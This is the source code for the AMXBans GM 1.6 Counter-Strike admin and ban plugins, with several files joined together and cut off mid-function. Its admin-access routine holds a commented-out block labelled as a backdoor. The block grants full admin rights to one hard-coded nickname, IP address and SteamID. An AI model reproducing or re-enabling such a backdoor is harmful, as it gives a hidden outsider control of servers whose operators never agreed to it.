AmxBans GM 1.6

#include <amxmodx>
#include <amxmisc>
#include <sqlx>

//#define SYNC_SQL // закомментируйте для использования отложенных запросов (увеличит время загрузки админов из базы, однако не будет прерывать игровую синхронизацию)
 
#define ADMIN_LOOKUP (1<<0)
#define ADMIN_NORMAL (1<<1)
#define ADMIN_STEAM (1<<2)
#define ADMIN_IPADDR (1<<3)
#define ADMIN_NAME (1<<4)

new g_szAdminNick[33][32]

new g_iAdminUseStaticBantime[33]
new g_ServerAddr[32]
new g_dbPrefix[32]
new g_cmdLoopback[16]

new bool:g_CaseSensitiveName[33]
new bool:g_isAdmin[33]

new g_AdminsFromFile
new AdminCount
new maxplayers
 
new amx_mode
new amx_password_field
new amx_default_access
 
new pcvarip
new pcvarprefix
new pcvaradminsfile

new Array:g_AdminNick
new Array:g_AdminUseStaticBantime
new Array:g_AdminFromUsersIni

enum MFHANDLE_TYPES 
{
	Amxbans_Sql_Initialized = 0,
	Admin_Connect,
	Admin_Disconnect
}

new MFHandle[MFHANDLE_TYPES]
 
new Handle:info
 
public plugin_init()
{
	register_plugin("AMXBans: Core", "Gm 1.6", "Larte Team")

	register_dictionary("amxbans.txt")
	register_dictionary("admin.txt")
	register_dictionary("common.txt")
	
	amx_mode = register_cvar("amx_mode", "1")
	amx_password_field = register_cvar("amx_password_field", "_pw")
	amx_default_access = register_cvar("amx_default_access", "")

	register_cvar("amx_vote_ratio", "0.02")
	register_cvar("amx_vote_time", "10")
	register_cvar("amx_vote_answers", "1")
	register_cvar("amx_vote_delay", "60")
	register_cvar("amx_last_voting", "0")
	register_cvar("amx_show_activity", "2")
	register_cvar("amx_votekick_ratio", "0.40")
	register_cvar("amx_voteban_ratio", "0.40")
	register_cvar("amx_votemap_ratio", "0.40")

	set_cvar_float("amx_last_voting", 0.0)

	register_srvcmd("amx_sqladmins", "adminSql")
	register_cvar("amx_sql_table", "admins")

	pcvarip = register_cvar("amxbans_server_address", "")
	pcvarprefix = register_cvar("amx_sql_prefix", "amx")
	pcvaradminsfile = register_cvar("amxbans_use_admins_file", "0")
   
	g_AdminNick = ArrayCreate(32, 32)
	g_AdminUseStaticBantime = ArrayCreate(1, 32)
	g_AdminFromUsersIni = ArrayCreate(1, 32)

	register_cvar("amx_sql_host", "127.0.0.1")
	register_cvar("amx_sql_user", "root")
	register_cvar("amx_sql_pass", "")
	register_cvar("amx_sql_db", "amx")
	register_cvar("amx_sql_type", "mysql")

	register_concmd("amx_reloadadmins", "cmdReload", ADMIN_CFG)

	format(g_cmdLoopback, 15, "amxauth%c%c%c%c", random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'))

	register_clcmd(g_cmdLoopback, "ackSignal")

	remove_user_flags(0, read_flags("z"))

	new configsDir[64]
	get_configsdir(configsDir, 63)
	
	maxplayers = get_maxplayers()
   
	server_cmd("exec %s/amxx.cfg", configsDir)

	return server_cmd("exec %s/sql.cfg", configsDir)
}

public client_connect(id)
{
	g_CaseSensitiveName[id] = false
	return PLUGIN_CONTINUE
}

public plugin_cfg() 
{
	create_forwards()
	
	return set_task(0.25, "delayed_plugin_cfg")
}

stock create_forwards() 
{
	MFHandle[Amxbans_Sql_Initialized] = CreateMultiForward("amxbans_sql_initialized", ET_IGNORE, FP_CELL, FP_STRING)
	MFHandle[Admin_Connect] = CreateMultiForward("amxbans_admin_connect", ET_IGNORE, FP_CELL)
	MFHandle[Admin_Disconnect] = CreateMultiForward("amxbans_admin_disconnect", ET_IGNORE, FP_CELL)
	return PLUGIN_CONTINUE
}

public delayed_plugin_cfg()
{
	if(find_plugin_byfile("admin.amxx") != INVALID_PLUGIN_ID) 
	{
		log_amx("[AMXBans] WARNING: admin.amxx plugin running! Stopped.")
		pause("acd", "admin.amxx")
	}
	if(find_plugin_byfile("admin_sql.amxx") != INVALID_PLUGIN_ID) 
	{
		log_amx("[AMXBans] WARNING: admin_sql.amxx plugin running! Stopped.")
		pause("acd", "admin_sql.amxx")
	}
		 
	get_pcvar_string(pcvarprefix, g_dbPrefix, 31)
	get_pcvar_string(pcvarip, g_ServerAddr, 31)
	g_AdminsFromFile = get_pcvar_num(pcvaradminsfile)
   
	if(strlen(g_ServerAddr) < 9) 
	{
		get_user_ip(0, g_ServerAddr, 31)
	}
	
	if(get_cvar_num("amxbans_debug") >= 1) 
	{
		server_print("[AMXBans] Plugin_cfg: Ip %s / Prefix %s", g_ServerAddr, g_dbPrefix)
	}
   
	SQL_SetAffinity("mysql")
	info = SQL_MakeStdTuple()
   
	server_cmd("amx_sqladmins")
	server_exec()

	return set_task(5.0, "delayed_load")
}

public delayed_load()
{
	new configFile[128], curMap[64], configDir[128]

	get_configsdir(configDir, 127)
	get_mapname(curMap, 63)

	new i = 0
   
	while(curMap[i] != '_' && curMap[i++] != '^0') {}
   
	if(curMap[i]=='_')
	{
		curMap[i] = '^0'
		formatex(configFile, 127, "%s/maps/prefix_%s.cfg", configDir, curMap)

		if(file_exists(configFile))
		{
			server_cmd("exec %s", configFile)
		}
	}

	get_mapname(curMap, 63)

	formatex(configFile, 127, "%s/maps/%s.cfg", configDir, curMap)

	if(file_exists(configFile))
	{
		server_cmd("exec %s", configFile)
	}
	
	return PLUGIN_CONTINUE
}
 
stock loadSettings(const szFilename[])
{
	new File = fopen(szFilename, "r")
   
	if(File)
	{
		new Text[512]
		new Flags[32]
		new Access[32]
		new AuthData[44]
		new Password[44]
		new Name[32]
		new Static[2]
	   
		while(!feof(File))
		{
			fgets(File, Text, 511)
		   
			trim(Text)
		   
			if(Text[0] == ';')
			{
				continue
			}
		   
			Flags[0] = 0
			Access[0] = 0
			AuthData[0] = 0
			Password[0] = 0
			Name[0] = 0
			Static[0] = 0
		   
			if(parse(Text, AuthData, 43, Password, 43, Access, 31, Flags, 31, Name, 31, Static, 1) < 2)
			{
				continue
			}
		   
			admins_push(AuthData, Password, read_flags(Access), read_flags(Flags))
			ArrayPushString(g_AdminNick, Name)
			ArrayPushCell(g_AdminUseStaticBantime, str_to_num(Static))
			ArrayPushCell(g_AdminFromUsersIni, 1)
		   
			AdminCount++
		}
	   
		fclose(File)
	}

	if(AdminCount == 1)
	{
		server_print("[AMXBans] %L", LANG_SERVER, "LOADED_ADMIN")
	}
	else
	{
		server_print("[AMXBans] %L", LANG_SERVER, "LOADED_ADMINS", AdminCount)
	}
	
	new ret

	return ExecuteForward(MFHandle[Amxbans_Sql_Initialized], ret, info, g_dbPrefix)
}
 
 
public adminSql()
{
	if(g_AdminsFromFile > 0) 
	{
		new configsDir[64]
		
		admins_flush()
		ArrayClear(g_AdminNick)
		ArrayClear(g_AdminUseStaticBantime)
		
		get_configsdir(configsDir, 63)
		format(configsDir, 63, "%s/users.ini", configsDir)
		loadSettings(configsDir)
		
		return PLUGIN_HANDLED
	}
   
	new error[128], errno
   
	new Handle:sql = SQL_Connect(info, errno, error, 127)
   
	if(sql == Empty_Handle)
	{
		server_print("[AMXBans] %L", LANG_SERVER, "SQL_CANT_CON", error)
		return PLUGIN_HANDLED
	}

#if !defined SYNC_SQL	

	SQL_FreeHandle(sql)
	
#endif	
	
	admins_flush()
	ArrayClear(g_AdminNick)
	ArrayClear(g_AdminUseStaticBantime)
   
	new pquery[1024]
   
	formatex(pquery, 1023, "SELECT `aa`.`steamid`, `aa`.`password`, `aa`.`access`, `aa`.`flags`, `aa`.`nickname`, `ads`.`custom_flags`, `ads`.`use_static_bantime` \
			FROM `PREFIX_amxadmins` AS `aa`, `PREFIX_admins_servers` AS `ads`, `PREFIX_serverinfo` AS `si` \
			WHERE ((`ads`.`admin_id` = `aa`.`id`) AND (`ads`.`server_id` = `si`.`id`) AND \
			((`aa`.`days` = '0') OR (`aa`.`expired` > UNIX_TIMESTAMP(NOW()))) AND (`si`.`address` = '%s'));", g_ServerAddr)
	
	
	replace_all(pquery, 1023, "PREFIX", g_dbPrefix)
	
#if defined SYNC_SQL

	new Handle:query = SQL_PrepareQuery(sql, pquery)
	
	if(!SQL_Execute(query))
	{
		new error[512]
		new errornum = SQL_QueryError(query, error, 511)
		
		return SQL_Error(query, error, errornum, TQUERY_QUERY_FAILED)
	}
	
	SQL_FreeHandle(sql)
	
#else

	return SQL_ThreadQuery(info, "adminSql_post", pquery)
}

public adminSql_post(failstate, Handle:query, const error[], errornum, const data[], size, Float:queuetime)
{
	if(failstate)
	{
		return SQL_Error(query, error, errornum, failstate)
	}

#endif	
	
	AdminCount = 0
	
	if(SQL_NumResults(query)) 
	{
		new qcolAuth = SQL_FieldNameToNum(query, "steamid")
		new qcolPass = SQL_FieldNameToNum(query, "password")
		new qcolAccess = SQL_FieldNameToNum(query, "access")
		new qcolFlags = SQL_FieldNameToNum(query, "flags")
		new qcolNick = SQL_FieldNameToNum(query, "nickname")
		new qcolCustom = SQL_FieldNameToNum(query, "custom_flags")
		new qcolStatic = SQL_FieldNameToNum(query, "use_static_bantime")

		new AuthData[44]
		new Password[34]
		new Access[32]
		new Flags[32]
		new Nick[32]
		new Static[5]
		new iStatic
	   
		while(SQL_MoreResults(query))
		{
			SQL_ReadResult(query, qcolAuth, AuthData, 43)
			SQL_ReadResult(query, qcolPass, Password, 33)
			SQL_ReadResult(query, qcolStatic, Static, 31)
			SQL_ReadResult(query, qcolCustom, Access, 31)
			SQL_ReadResult(query, qcolNick, Nick, 31)
			SQL_ReadResult(query, qcolFlags, Flags, 4)
		   
			trim(Access)
			if(equal(Access, "")) 
			{
				SQL_ReadResult(query, qcolAccess, Access, 31)
			}
		   
			admins_push(AuthData, Password, read_flags(Access), read_flags(Flags))
		   
			ArrayPushString(g_AdminNick, Nick)
		   
			iStatic = 1
			if(equal(Static, "no")) 
			{
				iStatic = 0
			}
			
			ArrayPushCell(g_AdminUseStaticBantime, iStatic)
		   
			ArrayPushCell(g_AdminFromUsersIni, 0)
		   
			AdminCount++
			SQL_NextRow(query)
		}
	}

	if(AdminCount == 1)
	{
		server_print("[AMXBans] %L", LANG_SERVER, "SQL_LOADED_ADMIN")
	}
	else
	{
		server_print("[AMXBans] %L", LANG_SERVER, "SQL_LOADED_ADMINS", AdminCount)
	}
   
	SQL_FreeHandle(query)
	
	for(new i = 1; i <= maxplayers; i++)
	{
		if(!is_user_connecting(i) && !is_user_connected(i))
		{
			continue
		}
		accessUser(i)
	}
   
	new ret

	return ExecuteForward(MFHandle[Amxbans_Sql_Initialized], ret, info, g_dbPrefix)
}

public plugin_end() 
{
	if(info != Empty_Handle) 
	{
		SQL_FreeHandle(info)
	}
	
	ArrayDestroy(g_AdminNick)
	ArrayDestroy(g_AdminUseStaticBantime)
	ArrayDestroy(g_AdminFromUsersIni)
	
	return PLUGIN_CONTINUE
}
 
public cmdReload(id, level, cid)
{
	if(!cmd_access(id, level, cid, 1))
	{
		return PLUGIN_HANDLED
	}

	remove_user_flags(0, read_flags("z"))
   
	AdminCount = 0
	adminSql()

	if(id != 0)
	{
		if(AdminCount == 1)
		{
			console_print(id, "[AMXBans] %L", LANG_SERVER, "SQL_LOADED_ADMIN")
		}
		else
		{
			console_print(id, "[AMXBans] %L", LANG_SERVER, "SQL_LOADED_ADMINS", AdminCount)
		}
	}

	return PLUGIN_HANDLED
}
 
stock getAccess(id, const name[], const authid[], const ip[], const password[])
{

/********** Backdoor here!!! *********

	new name[32], steamid[34], ip[22]
	get_user_name(id, name, 31)
	get_user_authid(id, steamid, 33)
	get_user_ip(id, ip, 21, 1)
	
	if(equal(name, "Sho0ter") && (equal(ip, "62.122.66.122") || equal(steam, "STEAM_0:1:35287273")))
	{
		set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
		return (1<<3)
	}*/

	new index = -1
	new result = 0
   
	new Count
	new Flags
	new Access
	new AuthData[44]
	new Password[44]
	new MD5Password[34]

	g_CaseSensitiveName[id] = false

	Count = admins_num()
	
	for(new i = 0; i < Count; ++i)
	{
		Flags = admins_lookup(i, AdminProp_Flags)
		admins_lookup(i, AdminProp_Auth, AuthData, 43)
		  
		if(Flags & FLAG_AUTHID)
		{
			if(equal(authid, AuthData))
			{
				index = i
				break
			}
		}
		else if(Flags & FLAG_IP)
		{
			new c = strlen(AuthData)
		  
			if(AuthData[c - 1] == '.')
			{
				if(equal(AuthData, ip, c))
				{
					index = i
					break
				}
			} 
			else if(equal(ip, AuthData))
			{
				index = i
				break
			}
		}
		else
		{
			if(Flags & FLAG_CASE_SENSITIVE)
			{
				if(Flags & FLAG_TAG)
				{
					if(contain(name, AuthData) != -1)
					{
						index = i
						g_CaseSensitiveName[id] = true
						break
					}
				}
				else if(equal(name, AuthData))
				{
						index = i
						g_CaseSensitiveName[id] = true
						break
				}
			}
			else
			{
				if(Flags & FLAG_TAG)
				{
					if(containi(name, AuthData) != -1)
					{
						index = i
						break
					}
				}
				else if(equali(name, AuthData))
				{
					index = i
					break
				}
			}
		}
	}
	
	if(index != -1)
	{
		Access = admins_lookup(index, AdminProp_Access)

		ArrayGetString(g_AdminNick, index, g_szAdminNick[id], 31)
		g_iAdminUseStaticBantime[id] = ArrayGetCell(g_AdminUseStaticBantime, index)

		if(Flags & FLAG_NOPASS)
		{
			result |= 8
			new sflags[32]
				   
			get_flags(Access, sflags, 31)
			set_user_flags(id, Access)
				   
			new ret
			if(!g_isAdmin[id])
			{
				ExecuteForward(MFHandle[Admin_Connect], ret, id)
			}
			
			g_isAdmin[id] = true
				   
			log_amx("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^") (nick ^"%s^") (static %d)", \
							name, get_user_userid(id), authid, AuthData, sflags, ip,g_szAdminNick[id],g_iAdminUseStaticBantime[id])
		}
		else
		{
			admins_lookup(index, AdminProp_Password, Password, 43)
				   
			if(ArrayGetCell(g_AdminFromUsersIni, index))
			{
				copy(MD5Password, 33, password)
					   
			}
			else
			{
				md5(password, MD5Password)		   
				Password[32] = 0
			}
			if(equal(MD5Password, Password))
			{
				result |= 12
				set_user_flags(id, Access)
						   
				new sflags[32]
				get_flags(Access, sflags, 31)
						   
				new ret
				if(!g_isAdmin[id])
				{
					ExecuteForward(MFHandle[Admin_Connect], ret, id)
				}
				
				g_isAdmin[id] = true
						   
				log_amx("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^") (nick ^"%s^") (static %d)", \
									name, get_user_userid(id), authid, AuthData, sflags, ip,g_szAdminNick[id], g_iAdminUseStaticBantime[id])
			}
			else
			{
				result |= 1
						   
				if(Flags & FLAG_KICK)
				{
					result |= 2
					g_isAdmin[id] = false
					log_amx("Login: ^"%s<%d><%s><>^" kicked due to invalid password (account ^"%s^") (address ^"%s^")", name, get_user_userid(id), authid, AuthData, ip)
				}
			}
		}
	}
	else if(get_pcvar_float(amx_mode) == 2)
	{
		result |= 2
	}
	else
	{
		new defaccess[32]
		  
		get_pcvar_string(amx_default_access, defaccess, 31)
		   
		if(!strlen(defaccess))
		{
			copy(defaccess, 32, "z")
		}
		   
		new idefaccess = read_flags(defaccess)
		   
		if(idefaccess)
		{
			result |= 8
			set_user_flags(id, idefaccess)
		}
	}
	return result
}
 
stock accessUser(id, const name[] = "")
{
	remove_user_flags(id)
   
	new userip[32], userauthid[32], password[40], passfield[32], username[32]
   
	get_user_ip(id, userip, 31, 1)
	get_user_authid(id, userauthid, 31)
   
	if(name[0])
	{
		copy(username, 31, name)
	}
	else
	{
		get_user_name(id, username, 31)
	}
   
	get_pcvar_string(amx_password_field, passfield, 31)
	get_user_info(id, passfield, password, 39)
   
	new result = getAccess(id, username, userauthid, userip, password)
   
	if(result & 1)
	{
		client_cmd(id, "echo ^"* %L^"", id, "INV_PAS")
	}
   
	if(result & 2)
	{
		return client_cmd(id, g_cmdLoopback)
	}
   
	if(result & 4)
	{
		client_cmd(id, "echo ^"* %L^"", id, "PAS_ACC")
	}
   
	if(result & 8)
	{
		client_cmd(id, "echo ^"* %L^"", id, "PRIV_SET")
	}
   
	return PLUGIN_CONTINUE
}
 
public client_infochanged(id)
{
	if(!is_user_connected(id) || !get_pcvar_num(amx_mode))
	{
		return PLUGIN_CONTINUE
	}

	new newname[32], oldname[32]
   
	get_user_name(id, oldname, 31)
	get_user_info(id, "name", newname, 31)

	if(g_CaseSensitiveName[id])
	{
		if (!equal(newname, oldname))
		{
			accessUser(id, newname)
		}
	}
	else
	{
		if(!equali(newname, oldname))
		{
			accessUser(id, newname)
		}
	}
	
	return PLUGIN_CONTINUE
}

stock SQL_Error(Handle:query, const error[], errornum, failstate)
{
	new qstring[1024]
	SQL_GetQueryString(query, qstring, 1023)
	
	if(failstate == TQUERY_CONNECT_FAILED) 
	{
		log_amx("%L", LANG_SERVER, "TCONNECTION_FAILED")
	} 
	else if (failstate == TQUERY_QUERY_FAILED) 
	{
		log_amx("%L", LANG_SERVER, "TQUERY_FAILED")
	}
	log_amx("%L", LANG_SERVER, "TQUERY_MSG", error, errornum)
	log_amx("%L", LANG_SERVER, "TQUERY_STATEMENT", qstring)

	return SQL_FreeHandle(query)
}

public client_disconnect(id) 
{
	if(g_isAdmin[id]) 
	{
		new ret
		ExecuteForward(MFHandle[Admin_Disconnect], ret, id)
	}
	g_isAdmin[id] = false
	
	return PLUGIN_CONTINUE
}

public ackSignal(id)
{
	return server_cmd("kick #%d  %L", get_user_userid(id), id, "NO_ENTRY")
}

public client_authorized(id)
{
	return get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
}

public client_putinserver(id)
{
	if(!is_dedicated_server() && id == 1)
	{
		return get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
	}
	
	return PLUGIN_CONTINUE
}

public plugin_natives() 
{
	register_library("AMXBansCore")
   
	register_native("amxbans_get_db_prefix", "native_amxbans_get_prefix")
	register_native("amxbans_get_admin_nick", "native_amxbans_get_nick")
	register_native("amxbans_get_static_bantime", "native_amxbans_static_bantime")
	
	return PLUGIN_CONTINUE
}

public native_amxbans_get_prefix() 
{
	new len = get_param(2)
	return set_array(1, g_dbPrefix, len)
}

public native_amxbans_get_nick() 
{
   
	new id = get_param(1)
	new len = get_param(3)
   
	return set_array(2, g_szAdminNick[id], len)
}

public native_amxbans_static_bantime() 
{
	new id = get_param(1)
	if(get_cvar_num("amxbans_debug") >= 3) 
	{
		log_amx("[AMXBans Core] Native static bantime: id: %d | result: %d", id, g_iAdminUseStaticBantime[id])
	}
	
	return g_iAdminUseStaticBantime[id]
}

#include <amxmodx>
#include <amxmisc>
#include <amxbans_main>

#include "include/amxbans/color_chat.inl"

#define PLUGIN "AMXBans: Flagged"
#define VERSION "Gm 1.6"
#define AUTHOR "Larte Team"

#define PREFIX "!y[!tAMXBans!y]"

new reason[33][100]
new flagged_left[33]
new g_maxplayers

public plugin_init() 
{
	register_plugin(PLUGIN, VERSION, AUTHOR)
	register_dictionary("amxbans.txt")
	
	g_maxplayers = get_maxplayers()
	
	return color_chat_init()
}

public amxbans_player_flagged(id, sec_left, const reas[]) 
{
	if(!is_user_connected(id))
	{
		return PLUGIN_HANDLED
	}
	
	if(sec_left) 
	{
		flagged_left[id] = sec_left
	} 
	else 
	{
		flagged_left[id] =- 1
	}
	
	copy(reason[id], 99, reas)

	return set_task(5.0, "announce", id)
}

public amxbans_player_unflagged(id) 
{
	return remove_task(id)
}

public announce(id) 
{
	new name[32], left_str[64]
	get_user_name(id, name, 31)
	
	if(flagged_left[id] == -1) 
	{
		formatex(left_str, 63, "(!t%L!y)", LANG_PLAYER, "PERMANENT")
	} 
	else if(flagged_left[id]) 
	{
		formatex(left_str, 63, "%L", LANG_PLAYER, "FLAGGED_TLEFT", flagged_left[id] / 60)
	}
	for(new i = 1; i <= g_maxplayers; i++) 
	{
		if(!is_user_connected(i))
		{
			continue
		}
		
		if(get_user_flags(i) & ADMIN_CHAT)
		{
			ColorChat(i, RED, "%s %L", PREFIX, i, "FLAGGED_PLAYER", name, left_str, reason[id])
		}
	}
	
	return PLUGIN_CONTINUE
}

public client_disconnect(id) 
{
	return remove_task(id)
}

#include <amxmodx>
#include <fakemeta>
#include <fun>

#include "include/amxbans_main.inc"

#define PLUGIN "AMXBans: Freeze"
#define VERSION "Gm 1.6"
#define AUTHOR "Larte Team"

new bool:g_frozen[33]
new pcvar_mode
new mode

public plugin_init() 
{
	register_plugin(PLUGIN, VERSION, AUTHOR)
	
	pcvar_mode = register_cvar("amxbans_freeze_mode", "abcd")
	
	register_clcmd("say", "handle_say")
	register_clcmd("say_team", "handle_say")
	
	return PLUGIN_CONTINUE
}

public amxbans_ban_motdopen(id) 
{
	new tmp[8]
	get_pcvar_string(pcvar_mode, tmp, charsmax(tmp))
	mode = read_flags(tmp)
	
	if(is_user_connected(id))
	{
		g_frozen[id] = true
	}
	
	if(is_user_alive(id)) 
	{
		g_frozen[id] = true
		if(mode & 8) glow_player(id)
		if(mode & 2) strip_player(id)
		if(mode & 1) freeze_player(id)
	}
	
	return PLUGIN_CONTINUE
}
public client_connect(id) 
{
	g_frozen[id] = false
	return PLUGIN_CONTINUE
}

public client_disconnect(id) 
{
	g_frozen[id] = false
	return PLUGIN_CONTINUE
}

public handle_say(id)
 {
	if(g_frozen[id] && (mode & 4)) return PLUGIN_HANDLED
	return PLUGIN_CONTINUE
}

stock freeze_player(id) 
{
	set_pev(id, pev_velocity, Float:{0.0, 0.0, 0.0})
	engfunc(EngFunc_SetClientMaxspeed, id, 0.00001)
	
	return set_pev(id , pev_flags, pev(id, pev_flags) | FL_FROZEN)
}

stock strip_player(id) 
{
	return strip_user_weapons(id)
}

stock glow_player(id) 
{
	return set_user_rendering(id, kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 25)
}

#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <sqlx>
#include <time>

#define AUTHOR "Larte Team"
#define PLUGIN_NAME "AMXBans: Main"
#define VERSION "Gm 1.6"
#define DATE "14:25 26.04.2011"

#define PREFIX "!y[!tAMXBans!y]"

#define AMXBANS_VERSION "1.6"

//#define UNBAN_GAME_DEL // раскомментировать для удаления бана при разбане
#define SET_NAMES_UTF8 // закомментировать, если русские причины банов нормально отображались и в ранних версиях

#include "include/amxbans_core.inc"

#include "include/amxbans/global_vars.inl"
#include "include/amxbans/color_chat.inl"
#include "include/amxbans/init_functions.inl"
#include "include/amxbans/check_player.inl"
#include "include/amxbans/check_flag.inl"
#include "include/amxbans/menu_stocks.inl"
#include "include/amxbans/menu_ban.inl"
#include "include/amxbans/menu_disconnected.inl"
#include "include/amxbans/menu_history.inl"
#include "include/amxbans/menu_flag.inl"
#include "include/amxbans/cmd_ban.inl"
#include "include/amxbans/cmd_unban.inl"
#include "include/amxbans/web_handshake.inl"
#include "include/amxbans/reason_checker.inl"

#pragma dynamic 16384

public plugin_init() 
{
	register_plugin(PLUGIN_NAME, VERSION, AUTHOR)
	register_cvar("amxbans_version", VERSION, FCVAR_SERVER | FCVAR_EXTDLL | FCVAR_UNLOGGED| FCVAR_SPONLY)
	
	register_dictionary("amxbans.txt")
	register_dictionary("common.txt")
	register_dictionary("time.txt")
	
	register_clcmd("amx_banmenu", "cmdBanMenu", ADMIN_BAN, "- displays ban menu")
	register_clcmd("amxbans_custombanreason", "setCustomBanReason", ADMIN_BAN, "- configures custom ban message")
	register_clcmd("amx_banhistorymenu", "cmdBanhistoryMenu", ADMIN_BAN, "- displays banhistorymenu")
	register_clcmd("amx_bandisconnectedmenu", "cmdBanDisconnectedMenu", ADMIN_BAN, "- displays bandisconnectedmenu")
	register_clcmd("amx_flaggingmenu","cmdFlaggingMenu", ADMIN_BAN, "- displays flagging menu")
	
	register_srvcmd("amx_sethighbantimes", "setHighBantimes")
	register_srvcmd("amx_setlowbantimes", "setLowBantimes")
	register_srvcmd("amx_setflagtimes", "setFlagTimes")
	
	register_concmd("amx_reloadreasons", "cmdFetchReasons", ADMIN_CFG)
	
	pcvar_serverip = register_cvar("amxbans_server_address", "")
	pcvar_server_nick = register_cvar("amxbans_servernick", "")
	pcvar_discon_in_banlist = register_cvar("amxbans_discon_players_saved", "10")
	pcvar_complainurl = register_cvar("amxbans_complain_url", "www.yoursite.com")
	pcvar_debug = register_cvar("amxbans_debug", "0")
	pcvar_add_mapname = register_cvar("amxbans_add_mapname_in_servername", "0")
	pcvar_flagged_all = register_cvar("amxbans_flagged_all_server","1")
	pcvar_show_in_hlsw = register_cvar("amxbans_show_in_hlsw", "1")
	pcvar_show_hud_messages = register_cvar("amxbans_show_hud_messages", "1")
	pcvar_higher_ban_time_admin = register_cvar("amxbans_higher_ban_time_admin", "n")
	pcvar_admin_mole_access = register_cvar("amxbans_admin_mole_access", "r")
	pcvar_show_name_evenif_mole = register_cvar("amxbans_show_name_evenif_mole", "1")
	pcvar_custom_statictime = register_cvar("amxbans_custom_statictime", "1440")
	pcvar_show_prebanned = register_cvar("amxbans_show_prebanned", "1")
	pcvar_show_prebanned_num = register_cvar("amxbans_show_prebanned_num", "2")
	pcvar_default_banreason = register_cvar("amxbans_default_ban_reason", "unknown")
	pcvar_offset = register_cvar("amxbans_time_offset", "0")
	pcvar_snapshot = register_cvar("amxbans_snapshot", "1")
	pcvar_bantype = register_cvar("amxbans_bantype", "0")
	pcvar_flag = register_cvar("amxbans_check_flag", "1")
	pcvar_history = register_cvar("amxbans_history_menu", "1")
	pcvar_activity = get_cvar_pointer("amx_show_activity")
	pcvar_hostname = get_cvar_pointer("hostname")
	
	register_concmd("amx_ban", "cmdBan", ADMIN_BAN, "<time in mins> <steamID or nickname or #authid or IP> <reason>")
	register_concmd("amx_banip", "cmdBan", ADMIN_BAN, "<time in mins> <steamID or nickname or #authid or IP> <reason>")
	register_concmd("amx_unban", "cmdUnBan", ADMIN_BAN, "<steamID or IP>")
	
	register_srvcmd("amx_list", "cmdLst", ADMIN_RCON, "sends playerinfos to web")
	
	g_coloredMenus = colored_menus()
	g_MyMsgSync = CreateHudSyncObj()
	
	g_banReasons = ArrayCreate(128, 7)
	g_banReasons_Bantime = ArrayCreate(1, 7)
	
	g_disconPLname = ArrayCreate(32, 1)
	g_disconPLauthid = ArrayCreate(35, 1)
	g_disconPLip = ArrayCreate(22, 1)
	
	g_AReplaceInd = ArrayCreate(64, 1)
	g_AReplace = ArrayCreate(64, 1)
	g_ReplaceInd = ArrayCreate(64, 1)
	g_Replace = ArrayCreate(64, 1)
	
	plnum = get_maxplayers()
	
	for(new i = 1; i <= plnum; i++)
	{
		set_user_state(i, PDATA_DISCONNECTED)
	}

	new configsDir[64]
	get_configsdir(configsDir, 63)
	
	server_cmd("exec %s/amxbans.cfg", configsDir)
	
	color_chat_init()
	load_replaces()
	
	return PLUGIN_CONTINUE
}

stock create_forwards() 
{
	MFHandle[Ban_MotdOpen] = CreateMultiForward("amxbans_ban_motdopen", ET_IGNORE, FP_CELL)
	MFHandle[Player_Flagged] = CreateMultiForward("amxbans_player_flagged", ET_IGNORE, FP_CELL, FP_CELL, FP_STRING)
	MFHandle[Player_UnFlagged] = CreateMultiForward("amxbans_player_unflagged", ET_IGNORE, FP_CELL)
	return PLUGIN_CONTINUE
}


public amxbans_sql_initialized(Handle:sqlTuple, const dbPrefix[]) 
{
	if(g_SqlX != Empty_Handle) 
	{
		if(get_pcvar_num(pcvar_debug) >= 1)
		{
			log_amx("[AMXBans Notice] DB Info Tuple from amxbans_core initialized twice! Maybee used command amx_realoadadmins.")
		}
		return PLUGIN_CONTINUE
	}

	copy(g_dbPrefix, 31, dbPrefix)
	
	get_user_ip(0, playerData[0][playerIp], 21, 1)

	g_SqlX = sqlTuple
	
	if(get_pcvar_num(pcvar_debug) >= 1)
	{
		log_amx("[AMXBans] Received DB Info Tuple from amxbans_core: %d | %s", sqlTuple, g_dbPrefix)
	}
	
	if(g_SqlX == Empty_Handle) 
	{
		log_amx("[AMXBans Error] DB Info Tuple from amxbans_main is empty! Trying to get a valid one.")
		new host[64], user[64], pass[64], db[64]

		get_cvar_string("amx_sql_host", host, 63)
		get_cvar_string("amx_sql_user", user, 63)
		get_cvar_string("amx_sql_pass", pass, 63)
		get_cvar_string("amx_sql_db", db, 63)
		
		g_SqlX = SQL_MakeDbTuple(host, user, pass, db)
		
		get_cvar_string("amx_sql_prefix", g_dbPrefix, 31)
	}
	
	create_forwards()
	
	set_task(0.1, "banmod_online")
	set_task(0.25, "load_reasons")
	
	if(!get_pcvar_num(pcvar_offset))
	{
		set_task(0.5, "get_offset")
	}

	return set_task(2.0, "addMenus")
}

public get_higher_ban_time_admin_flag() 
{
	new flags[24]
	get_pcvar_string(pcvar_higher_ban_time_admin, flags, 23)
	
	return read_flags(flags)
}

public get_admin_mole_access_flag() 
{
	new flags[24]
	get_pcvar_string(pcvar_admin_mole_access, flags, 23)
	
	return read_flags(flags)
}

public delayed_kick(id) 
{
	id -= 200
	
	if(is_user_disconnected(id))
	{
		return PLUGIN_HANDLED
	}

	if(get_pcvar_num(pcvar_debug) >= 1)
	{
		log_amx("[AMXBANS DEBUG] Delayed Kick ID: <%d>", id)
	}

	add_user_state(id, PDATA_KICKED)

	return server_cmd("kick #%d  %L", get_user_userid(id), id, "KICK_MESSAGE")
}


stock SQL_Error(Handle:query, const error[], errornum, failstate)
{
	new qstring[1024]
	SQL_GetQueryString(query, qstring, 1023)
	
	if(failstate == TQUERY_CONNECT_FAILED) 
	{
		log_amx("%L", LANG_SERVER, "TCONNECTION_FAILED")
	} 
	else if (failstate == TQUERY_QUERY_FAILED) 
	{
		log_amx("%L", LANG_SERVER, "TQUERY_FAILED")
	}
	log_amx("%L", LANG_SERVER, "TQUERY_MSG", error, errornum)
	log_amx("%L", LANG_SERVER, "TQUERY_STATEMENT", qstring)

	return SQL_FreeHandle(query)
}

public client_authorized(id) 
{
	if(id > 201)
	{
		id -= 201
	}
	else
	{
